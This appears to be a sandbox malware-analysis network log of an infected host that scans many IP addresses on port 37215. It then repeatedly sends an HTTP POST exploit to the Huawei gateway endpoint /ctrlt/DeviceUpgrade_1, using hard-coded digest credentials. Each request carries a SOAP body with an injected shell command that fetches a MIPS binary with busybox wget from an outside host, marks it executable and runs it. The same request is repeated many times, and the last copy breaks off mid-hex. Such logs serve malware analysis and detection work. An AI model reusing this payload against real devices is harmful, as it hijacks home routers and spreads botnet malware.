Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 186.38.112.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 41.59.146.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 94.137.248.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 154.193.62.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.169.139.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.127.74.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.139.38.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 138.122.238.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 196.27.47.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 41.33.222.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 107.205.148.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.175.224.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.146.64.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.122.244.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 121.189.206.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 41.34.145.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 41.122.97.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.37.186.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.159.137.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.109.235.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.26.174.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 160.2.71.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 197.175.72.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.19.196.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.250.228.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 190.99.37.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 121.80.175.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:37751 -> 156.60.230.104:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 